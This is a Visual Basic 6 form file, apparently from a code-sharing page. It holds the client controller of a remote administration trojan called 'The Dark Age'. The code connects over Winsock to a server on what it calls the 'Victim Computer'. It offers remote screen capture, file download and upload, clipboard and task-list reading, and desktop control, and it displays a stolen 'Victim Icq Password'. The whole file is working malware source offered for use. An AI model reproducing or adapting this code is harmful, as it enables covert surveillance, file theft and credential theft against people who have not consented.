📄 client.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "Mswinsck.ocx"
Begin VB.Form Client
BorderStyle = 1 'Fixed Single
Caption = "The Dark Age v1.0 beta, Use it on your own risk..."
ClientHeight = 5880
ClientLeft = 555
ClientTop = 2295
ClientWidth = 9645
Icon = "Client.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 5880
ScaleWidth = 9645
Begin VB.PictureBox PicContainer
BackColor = &H00FFFFFF&
Height = 5055
Left = 3000
ScaleHeight = 4995
ScaleWidth = 6435
TabIndex = 10
Top = 120
Width = 6495
End
Begin MSWinsockLib.Winsock WinSock1
Left = 2280
Top = 480
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.CommandButton CmdDisconnect
Caption = "Disconnect"
Enabled = 0 'False
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 315
Left = 1560
TabIndex = 8
Top = 1800
Width = 1215
End
Begin VB.Frame FrmConnection
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 5055
Left = 80
TabIndex = 1
Top = 120
Width = 2895
Begin VB.ListBox LstItems
Enabled = 0 'False
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 2790
ItemData = "Client.frx":030A
Left = 120
List = "Client.frx":032F
Sorted = -1 'True
TabIndex = 9
Top = 2160
Width = 2655
End
Begin VB.TextBox TxtIp
BeginProperty Font
Name = "Tahoma"
Size = 9.75
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
Left = 240
TabIndex = 4
Text = "127.0.0.1"
Top = 480
Width = 1815
End
Begin VB.TextBox TxtPort
BeginProperty Font
Name = "Tahoma"
Size = 9.75
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
Left = 360
MaxLength = 5
TabIndex = 3
Text = "1221"
Top = 1200
Width = 1455
End
Begin VB.CommandButton CmdConnect
Caption = "Connect"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 315
Left = 120
TabIndex = 2
Top = 1680
Width = 1215
End
Begin VB.Label LblIp
AutoSize = -1 'True
Caption = "Ip Address:"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 120
TabIndex = 6
Top = 240
Width = 960
End
Begin VB.Label Label1
AutoSize = -1 'True
Caption = "Port to Use:"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 120
TabIndex = 5
Top = 960
Width = 990
End
End
Begin VB.Label LblStat
BackColor = &H00FFFFFF&
Caption = " Status: Not Connected."
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H8000000D&
Height = 255
Left = 0
TabIndex = 7
Top = 5640
Width = 9690
End
Begin VB.Label LblResult
BackColor = &H8000000D&
Caption = "The Dark Age Developed By Psycho @ yehiaeg@hotmail.com"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H00FFFFFF&
Height = 240
Left = 0
TabIndex = 0
Top = 5400
Width = 9690
End
End
Attribute VB_Name = "Client"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim Index As Integer, CaptStat As Boolean, pos As Long
Dim DownStat As Boolean
Private Sub CmdConnect_Click()
Dim Ip As String
Ip = TxtIp
If WinSock.state = sckClosed Or WinSock.state = sckError Then
DoEvents
WinSock.Connect Ip, CInt(TxtPort)
LblResult = "Connecting to Server..."
LblStat = " Status: Connecting..."
End If
End Sub
Private Sub CmdDisconnect_Click()
WinSock.Close
LblStat = " Status: Disconnected..."
CmdConnect.Enabled = True
CmdDisconnect.Enabled = False
LblResult = "The Dark Age Developped By Psycho @ yehiaeg@hotmail.com"
End Sub
Private Sub Form_Load()
Set WinSock = Client.WinSock1
WinTemp = TempPath
End Sub
Private Sub Form_Unload(Cancel As Integer)
WinSock.Close
Static Unloading As Boolean
Dim i As Integer
If Unloading Then Exit Sub
Unloading = True
For i = Forms.Count - 1 To 0 Step -1
Unload Forms(i)
Next i
End Sub
Private Sub LstItems_Click()
Select Case LstItems.Text
Case "Hardware Control Center"
ShowForm FrmHardware
Case "Message Composer"
ShowForm MsgComposer
Case "The Matrix"
FrmMatrix.Show
Case "Capture Screen"
FrmCapScreen.Show
Case "File Manager"
DownloadManager.Show
Case "Windows Manager"
ShowForm FrmWinManager
Case "Desktop Manager"
ShowForm FrmDesktop
Case "Print Manager"
ShowForm FrmPrinter
Case "Clipboard Manager"
ShowForm FrmClipboard
Case "Screen Saver"
ShowForm FrmScreenSaver
Case "Internet Manager"
ShowForm FrmInternet
End Select
End Sub
Function ShowForm(Frm As Form)
SetParent Frm.hWnd, PicContainer.hWnd
Frm.Show
End Function
Private Sub WinSock1_Connect()
LblResult = " Connected to Server successfully..."
CmdConnect.Enabled = False
CmdDisconnect.Enabled = True
LstItems.Enabled = True
WinSock.SendData "StartConnection"
End Sub
Private Sub WinSock1_DataArrival(ByVal bytesTotal As Long)
Dim ReData As String
WinSock1.GetData ReData
If Left(ReData, 5) = "Info|" Then LblResult = Right(ReData, Len(ReData) - 5)
If Left(ReData, 8) = " Status:" Then LblStat = Right(ReData, Len(ReData) - 8)
If CaptStat = True Then
'Img is deleted in form load of FrmCapScreen
If Not Dir(App.Path & "\Img") = "" Then
pos = FileLen(App.Path & "\Img") + 1
FrmCapScreen.PrgBar.Value = pos
Else
pos = 1
End If
Open App.Path & "\Img" For Binary As #1
Put #1, pos, ReData
Close #1
If FileLen(App.Path & "\Img") = CaptFileLen Then
CaptStat = False
LblResult = "Screen Captured successfully..."
FrmCapScreen.Pic.Picture = LoadPicture(App.Path + "\Img")
FrmCapScreen.CmdCapture.Enabled = True
Kill App.Path + "\Img"
End If
End If
If DownStat = True Then
If Not Dir(App.Path & "\" & DownloadManager.LstServer.SelectedItem.Text) = "" Then
pos = FileLen(App.Path & "\" & DownloadManager.LstServer.SelectedItem.Text) + 1
DownloadManager.PgrDownload.Value = pos
Else
pos = 1
End If
Open App.Path & "\" & DownloadManager.LstServer.SelectedItem.Text For Binary As #1
Put #1, pos, ReData
Close #1
If FileLen(App.Path & "\" & DownloadManager.LstServer.SelectedItem.Text) = DownFileLen Then
DownStat = False
DownloadManager.TxtInfo = "File was Downloaded successfully..."
LblResult = "File Downloaded successfully..."
DownloadManager.PgrDownload.Visible = False
End If
End If
''''''''''''''''''''''
If ReData = "UploadFile|Ready" Then
DownloadManager.TxtInfo = DownloadManager.TxtInfo + vbCrLf + "Sending File..."
WinSock.SendData (FileData)
ElseIf ReData = "UploadFile|Done" Then
LblResult = "File was successfully Uploaded."
'LblResult = "Wallpaper was changed successfully..."
DownloadManager.TxtInfo = DownloadManager.TxtInfo + vbCrLf + "File was successfully Uploaded."
WinSock.SendData "GetFileList|" + DownloadManager.TxtPathSvr
'''''''''//////////'''''''''
ElseIf Left(ReData, 9) = "FileList\" Then
Dim ReArray As Variant: Dim i As Integer
If Right(ReData, Len(ReData) - 9) = "Nothing" Then
AddServFileItem "", "", 0, DownloadManager.LstServer, DownloadManager.TxtPathSvr, DownloadManager.ImageList1
Exit Sub
End If
Set DownloadManager.LstServer.SmallIcons = DownloadManager.ImageList1
DownloadManager.LstServer.ListItems.Clear
ReArray = Split(ReData, "\")
For i = (LBound(ReArray) + 1) To UBound(ReArray) Step 3
On Error Resume Next
AddServFileItem CStr(ReArray(i)), CStr(ReArray(i + 1)), CLng(ReArray(i + 2)), DownloadManager.LstServer, DownloadManager.TxtPathSvr, DownloadManager.ImageList1
Next i
ElseIf ReData = "MsgComposerShowed" Then
LblResult = "Message Box was Showed Successfully"
ElseIf Left(ReData, 9) = "CaptBegin" Or Left(ReData, 9) = "DownBegin" Then
If Left(ReData, 9) = "CaptBegin" Then
FrmCapScreen.CmdCapture.Enabled = False
WinSock.SendData "CaptFileEstablihed"
CaptStat = True
CaptFileLen = Right(ReData, (Len(ReData)) - 10)
FrmCapScreen.PrgBar.Max = CaptFileLen
ElseIf Left(ReData, 9) = "DownBegin" Then
WinSock.SendData "DownFileEstablished"
DownStat = True
DownloadManager.TxtInfo = "Downloading File..."
DownFileLen = Right(ReData, (Len(ReData)) - 10)
DownloadManager.PgrDownload.Max = DownFileLen
DownloadManager.PgrDownload.Visible = True
End If
ElseIf Left(ReData, 10) = "ReTaskList" Then
ReArray = Split(ReData, "|")
For i = (LBound(ReArray) + 1) To UBound(ReArray)
FrmWinManager.Lst.AddItem ReArray(i)
Next i
LblResult = "TaskList was retrived successfully..."
ElseIf Left(ReData, 17) = "Re:GetResolution|" Then
ReArray = Split(ReData, "|")
For i = (LBound(ReArray) + 1) To UBound(ReArray)
FrmDesktop.LstRes.AddItem ReArray(i)
Next i
LblResult = "Available Screen Resolution were retrived successfully..."
ElseIf Left(ReData, 10) = "Clipboard|" Then
Dim C As Clipboard
FrmClipboard.TxtClip = Right(ReData, Len(ReData) - 10)
LblResult = "Text was get successfully..."
ElseIf Left(ReData, 8) = "Drivers|" Then
ReArray = Split(ReData, "|")
For i = (LBound(ReArray) + 2) To UBound(ReArray)
DownloadManager.TxtDriversSrv.AddItem ReArray(i)
Next i
ElseIf Left(ReData, 12) = "IcqPassword|" Then
LblResult = "Icq Password was retrieved successfully..."
MsgBox "Victim Icq Password: " + vbCrLf + Right(ReData, Len(ReData) - 12), vbOKOnly + vbInformation, "Icq Password"
End If
End Sub
Private Sub WinSock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
WinSock.Close
If Number = 10061 Then
LblStat = " Status: Disconnected..."
LstItems.Enabled = False
CmdConnect.Enabled = True
CmdDisconnect.Enabled = False
LblResult = "The Dark Age Server was not opened on the Victim Computer..."
Exit Sub
End If
Dim Ip As String
Ip = TxtIp
If WinSock.state = sckClosed Or WinSock.state = sckError Then
DoEvents
WinSock.Connect Ip, CInt(TxtPort)
LblResult = "Connecting to Server..."
LblStat = " Status: Connecting..."
End If
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -